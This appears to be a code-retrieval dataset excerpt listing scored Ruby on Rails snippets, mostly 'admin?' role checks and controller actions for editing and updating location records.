get_users.find { |u| u.role == UserRole::ADMIN }\n end", "title": "" }, { "docid": "096109f7a7aecd62f37ec02bc004a148", "score": "0.7321524", "text": "def admin?\n self.role == 'admins'\n end", "title": "" }, { "docid": "825b6ee7d2a80048b4fb90bf1c9a44c8", "score": "0.73208", "text": "def is_admin?\n role == \"admin\"\n end", "title": "" }, { "docid": "825b6ee7d2a80048b4fb90bf1c9a44c8", "score": "0.73208", "text": "def is_admin?\n role == \"admin\"\n end", "title": "" }, { "docid": "825b6ee7d2a80048b4fb90bf1c9a44c8", "score": "0.73208", "text": "def is_admin?\n role == \"admin\"\n end", "title": "" }, { "docid": "bbe311bb12bd27c9a2c79de3750df794", "score": "0.73161215", "text": "def is_admin?\n role == 'admin'\n end", "title": "" }, { "docid": "bbe311bb12bd27c9a2c79de3750df794", "score": "0.73161215", "text": "def is_admin?\n role == 'admin'\n end", "title": "" }, { "docid": "bbe311bb12bd27c9a2c79de3750df794", "score": "0.73161215", "text": "def is_admin?\n role == 'admin'\n end", "title": "" }, { "docid": "bbe311bb12bd27c9a2c79de3750df794", "score": "0.73161215", "text": "def is_admin?\n role == 'admin'\n end", "title": "" }, { "docid": "bbe311bb12bd27c9a2c79de3750df794", "score": "0.73161215", "text": "def is_admin?\n role == 'admin'\n end", "title": "" }, { "docid": "bbe311bb12bd27c9a2c79de3750df794", "score": "0.73161215", "text": "def is_admin?\n role == 'admin'\n end", "title": "" }, { "docid": "bbe311bb12bd27c9a2c79de3750df794", "score": "0.73161215", "text": "def is_admin?\n role == 'admin'\n end", "title": "" }, { "docid": "bbe311bb12bd27c9a2c79de3750df794", "score": "0.73161215", "text": "def is_admin?\n role == 'admin'\n end", "title": "" }, { "docid": "d52f4adcb080a19d18c28a9d047e3858", "score": "0.73153543", "text": "def admin?\n self.role == 1\n end", "title": "" }, { "docid": "bd0ee0cd9056121205c705db94474d77", "score": "0.7310324", "text": "def admin?\n self.role.to_sym == :admin\n end", "title": "" }, { "docid": "3a6c492b0592bd73b65a29d8d56d801a", "score": "0.72998065", "text": "def is_admin?\n role == 'admin'\n end", "title": "" }, { "docid": "9731e1cb6c3ed4c6dcf01c0547f0379f", "score": "0.72981924", "text": "def admin?\n self.role.name == \"admin\"\n end", "title": "" }, { "docid": "0fd3900502152b1b21b8b68937ec67bb", "score": "0.7297985", "text": "def admin?\n self.role == \"admin\"\n end", "title": "" }, { "docid": "0fd3900502152b1b21b8b68937ec67bb", "score": "0.7297985", "text": "def admin?\n self.role == \"admin\"\n end", "title": "" }, { "docid": "09ac1dc10dec473eb735b7f06d695182", "score": "0.7293905", "text": "def admin?\n self.role == 'admin'\n end", "title": "" }, { "docid": "135d988fb456b6d84e490cb193b16d47", "score": "0.7289579", "text": "def admin?\n\t\trole==\"admin\"? true:false\n\tend", "title": "" }, { "docid": "53bdbeccf82ea2e64f69a4c7c6ada0a5", "score": "0.7288067", "text": "def is_admin?\n role == 'admin'\n end", "title": "" }, { "docid": "35447ed836c5dfe06479720c90800928", "score": "0.7286027", "text": "def is_admin?\n role.name.downcase == 'admin'\n end", "title": "" }, { "docid": "b576ae967459c51ef846581aec73ed8f", "score": "0.7282147", "text": "def admin?\n self.role == 'admin'\n end", "title": "" }, { "docid": "b576ae967459c51ef846581aec73ed8f", "score": "0.7282147", "text": "def admin?\n self.role == 'admin'\n end", "title": "" }, { "docid": "b576ae967459c51ef846581aec73ed8f", "score": "0.7282147", "text": "def admin?\n self.role == 'admin'\n end", "title": "" }, { "docid": "6b5aaf10f3e1ce55f35be0d61532efa8", "score": "0.7280526", "text": "def is_admin?\n status = false\n roles.each do |role_entry|\n status = true if role_entry.name == 'Admin'\n end\n status\n end", "title": "" }, { "docid": "da49ffed7b50f72ad0f715a68c6a221a", "score": "0.72741", "text": "def admin\n admin_assignment = self.assignments.find do |assignment|\n assignment.role.name == \"admin\"\n end\n\n admin_assignment.user\n end", "title": "" }, { "docid": "f22cdf43d107a4dd5944ba4204c938a1", "score": "0.72726053", "text": "def admin?\n self.role.name == 'admin'\n end", "title": "" }, { "docid": "91526b07c69bbc020350cb84991bd8cf", "score": "0.72703534", "text": "def admin?\n role?(:admin)\n end", "title": "" }, { "docid": "3bf859a0b4b8dfea6af23963250da705", "score": "0.72695017", "text": "def admin?\n self.role == \"Admin\"\n end", "title": "" }, { "docid": "2d937ce20e62361d0b0bd5684867fd40", "score": "0.7247008", "text": "def admin?\n self.role.name == \"Admin\"\n end", "title": "" }, { "docid": "07fe663bf04dda95bcd5dbbf3cbc7030", "score": "0.72422343", "text": "def admin?\n #has_role?(\"admin\")\n :role == \"admin\"\n end", "title": "" }, { "docid": "dc8952a1321e011649ea1f238edf9ae1", "score": "0.7241098", "text": "def is_admin?\n admin_role\n end", "title": "" }, { "docid": "ed588102b5f59d29df882a36bdc5b0be", "score": "0.7222989", "text": "def admin?\n user.role == \"Admin\"\n end", "title": "" }, { "docid": "93a42cea8dd1f3ce96be4b2ae01dfb9f", "score": "0.7219424", "text": "def is_admin?\n self.role == 'admin'\n end", "title": "" }, { "docid": "5f979b6617829ee14f1521501d63ea0c", "score": "0.72186875", "text": "def admins\n admin_roles.map &:authorizable\n end", "title": "" }, { "docid": "22eb9669deaf7a120a205d36de2be1b5", "score": "0.7216169", "text": "def admin? \ncurrent_user.role_id == 1\nend", "title": "" }, { "docid": "2d6b03db7faa728289a40b5e73a84b39", "score": "0.72112334", "text": "def admin?\n self.effective_role == 'admin'\n end", "title": "" }, { "docid": "edc89b197fc87bacd527e6cdc2b569b5", "score": "0.72109795", "text": "def admin?\n self.role.name == \"Admin\" if !self.role.blank?\n end", "title": "" }, { "docid": "106e141b4b898c23c8d6d01b9203f05a", "score": "0.72068685", "text": "def admin?\n\t\trole & ADMIN == ADMIN\n\tend", "title": "" }, { "docid": "38e27c616c28fa65d685f74c38ce2295", "score": "0.72039306", "text": "def is_admin?\n self.role_id == 1\n end", "title": "" }, { "docid": "7e8f3e5a126ce51f973cb1462ab57d6b", "score": "0.7198131", "text": "def admin?\n self.role_id == 2\n end", "title": "" }, { "docid": "52bd342adab04ce6200f6526ed9e8648", "score": "0.718916", "text": "def is_admin?\n @role && @role.include?(\"manager\")\n end", "title": "" }, { "docid": "84ece9fc5ae6e96181eb8a60fda5b4eb", "score": "0.71884626", "text": "def is_admin?\n role_id == \"staff_admin\"\n end", "title": "" }, { "docid": "84ece9fc5ae6e96181eb8a60fda5b4eb", "score": "0.71884626", "text": "def is_admin?\n role_id == \"staff_admin\"\n end", "title": "" }, { "docid": "efd3f0909f9161f43bf0526eace3ab82", "score": "0.71865463", "text": "def admin?\n has_role?('administrator')\n end", "title": "" }, { "docid": "c5b4b8b3a912b5e4e10c4d7d084f9829", "score": "0.71756345", "text": "def admin?\n\t\treturn self.role\n\tend", "title": "" }, { "docid": "c7e427d84178455dc9113a652a52d11d", "score": "0.7174179", "text": "def is_admin?\n\n status = false\n self.roles.each do|role_entry|\n if (role_entry.name == 'Admin')\n status = true\n end\n end\n return status\n end", "title": "" }, { "docid": "763de99e8c6448111e2704f3e68f60e1", "score": "0.7173603", "text": "def admin?\n roles.match(/A/)\n end", "title": "" }, { "docid": "b27dcc1b1be7145d9d1d4b3e8ba76f15", "score": "0.71734697", "text": "def admin?\n \thas_role?(\"admin\")\n end", "title": "" }, { "docid": "5c29d9c4017790bd677f82a24105545e", "score": "0.7173041", "text": "def is_admin(current_user)\n current_user.roles[:user_roles][:administration] \n end", "title": "" }, { "docid": "20f08bddef4c46bd82111b0e657bf89e", "score": "0.7160573", "text": "def is_admin?\n self.role? :admin\n end", "title": "" }, { "docid": "ff305ca067cd8cab0bc284738d599ae4", "score": "0.7155983", "text": "def admin?\n self.roles.include?(Role.find_by_title 'admin') ||\n self.roles.include?(Role.find_by_title 'operator') ||\n self.roles.include?(Role.find_by_title 'mentor_link') ||\n self.superadmin?\n end", "title": "" }, { "docid": "95cd2052f0208bebc21c7594cd29c233", "score": "0.7152662", "text": "def admin?\n has_role?('admin')\n end", "title": "" }, { "docid": "f888e2e68c0df15d724cb00a036996d4", "score": "0.7149933", "text": "def admin?\n role == 'admin'\nend", "title": "" }, { "docid": "f888e2e68c0df15d724cb00a036996d4", "score": "0.7149933", "text": "def admin?\n role == 'admin'\nend", "title": "" }, { "docid": "2508ac6594a50dc21c11527df069e1d7", "score": "0.71476775", "text": "def admin?\n self.admin_role\n end", "title": "" }, { "docid": "59d2017f0eb665515a3ac77b0487391e", "score": "0.7145296", "text": "def current_role\n admin_user.role.to_sym\n end", "title": "" }, { "docid": "a92c598907130856445bffc583cc0ad2", "score": "0.71384436", "text": "def admin?\n\t role == Roles::ADMIN\n\tend", "title": "" }, { "docid": "995dd9ec498b21b42902ec9a93eadf8b", "score": "0.7134952", "text": "def admin_user?\n user_role == MEMBER_TYPE[:admin]\n end", "title": "" }, { "docid": "b5c9018211eae0ba4cee14e3148e05db", "score": "0.71233433", "text": "def is_admin\n \"admin\".include? current_user.role\n end", "title": "" }, { "docid": "9d1065344770e484614c7b96d66c67ce", "score": "0.7122494", "text": "def check_for_admin\n check_for_role(:admin)\n end", "title": "" }, { "docid": "aed299cba139582b79668bf0f03dab0d", "score": "0.7120866", "text": "def admin?\r\n in_role?(Role::ADMIN)\r\n end", "title": "" }, { "docid": "5aed44cd0e611f750668cf00b59cd88c", "score": "0.71124876", "text": "def is_admin?\n # Best string comparing ever :v\n self.user_role.name == \"Administrator\"\n end", "title": "" } ]
fe9f51cbfad194c5bc54337980a66256
Display a form to edit an existing location GET /locations/1/edit
[ { "docid": "13d9d82b05c59c1d7d22387e67a6f80a", "score": "0.0", "text": "def edit\n end", "title": "" } ]
[ { "docid": "ccf6a0011f33a168897d9b2ed595d959", "score": "0.8566833", "text": "def edit\n\t\t@location = Location.find(params[:id])\n\tend", "title": "" }, { "docid": "b66ba6fdbd4397155b512a4b4ce3a902", "score": "0.8536288", "text": "def edit\n @location = Location.find(params[:id])\n end", "title": "" }, { "docid": "b92cd7807208f7f6b4ea0ffef3941249", "score": "0.7435482", "text": "def edit\n\t@locations = Location.order(:name).all\n end", "title": "" }, { "docid": "dd50b11a0466020cc1538bfd4f6c8cc1", "score": "0.7306891", "text": "def update\n @pagetitle = \"Edit location\"\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to(@location, :notice => 'Location was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "03f847fc4994985df220f4cd9448a733", "score": "0.7210437", "text": "def edit\n\t\t@activity ||= Activity.find(params[:activity_id])\n\t\t@locations = @activity.locations\n\t\t@new_location = Location.new\n\tend", "title": "" }, { "docid": "b2115d9000900bc7f55a5f7e46c00931", "score": "0.7085463", "text": "def update\n @location = Location.find(params[:id])\n if @location.update_attributes(located)\n flash[:success] = \"Location form updated\"\n redirect_to locations_path\n else\n render'edit'\n end\n end", "title": "" }, { "docid": "1a07f07dd2370a4a38fa28e4536a7118", "score": "0.7061669", "text": "def edit \n #show the edit form \n end", "title": "" }, { "docid": "f81e73cef57dc3e100433a4d4ba94b26", "score": "0.70061445", "text": "def edit\n # return an HTML form for editing a specific thing\n end", "title": "" }, { "docid": "777f7fcd0578fcd5fef0762f9d0b6fe9", "score": "0.6987769", "text": "def update\n if @location.update(location_params)\n redirect_to edit_users_path(:anchor => 'locations'), notice: 'Location was successfully updated.'\n else\n render :edit\n end\n end", "title": "" }, { "docid": "228607658c6dc70e65350de7d02d370a", "score": "0.6968413", "text": "def edit\n @object = Location.find_by_id(params[:id]) || Location.new\n respond_to do |format|\n \tformat.js {render 'shared/edit', :content_type=>'text/javascript'}\n end\n end", "title": "" }, { "docid": "59709d1b78f7521a544cb99b2482473b", "score": "0.6948804", "text": "def update\n @loc = Location.find(params[:id])\n\n respond_to do |format|\n if @loc.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@loc) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @loc.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "386e5b47248d526766474fac09004dac", "score": "0.6933901", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b878ec772c55ec6b36dc8f4438962cb7", "score": "0.689448", "text": "def update\r\n @location = Location.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @location.update_attributes(params[:location])\r\n format.html { redirect_to(@location, :notice => 'Location was successfully updated.') }\r\n format.json { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.json { render :json => @location.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "5e1f557eb7500bba9da7769bb9b5921a", "score": "0.6894293", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb7bc2d107b9eb2098903b3b3a3617bd", "score": "0.6880933", "text": "def edit_location\n res = RResponse.new\n res.data[:location] = CompanyLocation.edit(params[:id])\n res.success = true\n res.msg = 'edit_location'\n respond(res)\n end", "title": "" }, { "docid": "f29686c9da160252be6845cd191016ac", "score": "0.6878185", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, :notice => 'Location was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f29686c9da160252be6845cd191016ac", "score": "0.68781585", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, :notice => 'Location was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f29686c9da160252be6845cd191016ac", "score": "0.68781585", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, :notice => 'Location was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd864946e02bd63477c8fa351cba4149", "score": "0.6874226", "text": "def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to [:admin, @location], notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c9a3c4aed48c65f9d58fd6a09f6e343c", "score": "0.68734187", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(location_params)\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ca9a35f636bc0c8d20cd631f5e02e34f", "score": "0.6868791", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(location_params)\n format.html { redirect_to adm_locations_url, notice: \"Location #{@location.name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c448d6f33fd1efe24cd215d4fe61f52", "score": "0.6854951", "text": "def update\n respond_to do |format|\n if @location.update(location_params)\n format.html { redirect_to admin_location_path(@location), notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "162e28fa07aaa2bf3a84f02c50634dba", "score": "0.6847409", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to @location, notice: 'Location was successfully updated.' }\n format.json { render json: @location}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0897c9e7ea8f98f2ee3f9213584bccb", "score": "0.6825637", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to(@location, :notice => 'Location was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0897c9e7ea8f98f2ee3f9213584bccb", "score": "0.6825637", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to(@location, :notice => 'Location was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0897c9e7ea8f98f2ee3f9213584bccb", "score": "0.6825637", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to(@location, :notice => 'Location was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0897c9e7ea8f98f2ee3f9213584bccb", "score": "0.6825637", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to(@location, :notice => 'Location was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0897c9e7ea8f98f2ee3f9213584bccb", "score": "0.6825637", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to(@location, :notice => 'Location was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0897c9e7ea8f98f2ee3f9213584bccb", "score": "0.6825637", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to(@location, :notice => 'Location was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a0897c9e7ea8f98f2ee3f9213584bccb", "score": "0.6825637", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n format.html { redirect_to(@location, :notice => 'Location was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "83a35044c1511c881fab57990e8446df", "score": "0.6810673", "text": "def edit\n render_form(:edit)\n end", "title": "" }, { "docid": "83a35044c1511c881fab57990e8446df", "score": "0.6810673", "text": "def edit\n render_form(:edit)\n end", "title": "" }, { "docid": "83a35044c1511c881fab57990e8446df", "score": "0.6810673", "text": "def edit\n render_form(:edit)\n end", "title": "" }, { "docid": "c5225c830eab998d16ba6ff3983ad282", "score": "0.6805093", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5225c830eab998d16ba6ff3983ad282", "score": "0.6805093", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5225c830eab998d16ba6ff3983ad282", "score": "0.6805093", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5225c830eab998d16ba6ff3983ad282", "score": "0.6805093", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5225c830eab998d16ba6ff3983ad282", "score": "0.6805093", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c5225c830eab998d16ba6ff3983ad282", "score": "0.6805093", "text": "def update\n @location = Location.find(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e867a1dbdfeef04f242c3e1537600459", "score": "0.67906183", "text": "def update\n @admin_location = Admin::Location.find(params[:id])\n\n respond_to do |format|\n if @admin_location.update_attributes(params[:admin_location])\n format.html { redirect_to @admin_location, notice: 'Location was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "408e0cdd92ae021f10b480877753e23e", "score": "0.67829853", "text": "def update\n @map_location = Map::Location.find(params[:id])\n\n respond_to do |format|\n if @map_location.update_attributes(params[:map_location])\n format.html { redirect_to @map_location, notice: 'Location was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @map_location.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43ff2b8142b24c014ee3a3e9e0f0534c", "score": "0.6782539", "text": "def edit_saved_location\n @address = Address.find(params[:id])\n render :update do |page|\n page.replace_html \"edit_saved_loc\", :partial => 'post_invite/edit_saved_location'\n end\n end", "title": "" }, { "docid": "2f2fbd23c7116d55745a99e20a53c737", "score": "0.6776305", "text": "def update\n @location = Location.get!(params[:id])\n\n respond_to do |format|\n if @location.update_attributes(params[:location]) or not @location.dirty?\n flash[:notice] = t('locations.location_updated')\n format.html { redirect_to(location_url(@location.id)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "394370bce628d740ab5baa628df14724", "score": "0.6751463", "text": "def edit\n update\n end", "title": "" }, { "docid": "394370bce628d740ab5baa628df14724", "score": "0.6751463", "text": "def edit\n update\n end", "title": "" }, { "docid": "749a8cd1d4ebf85c6820a6da0ebd33f1", "score": "0.67362744", "text": "def edit\n @map = Map.find(params[:id])\n end", "title": "" }, { "docid": "7b39db782dbf9f4548b22b40c1192ec1", "score": "0.67328554", "text": "def update\n respond_to do |format|\n if @location.update_attributes(params[:location])\n flash[:notice] = 'Location was successfully updated.'\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location.errors, :status => :unprocessable_entity }\n end\n 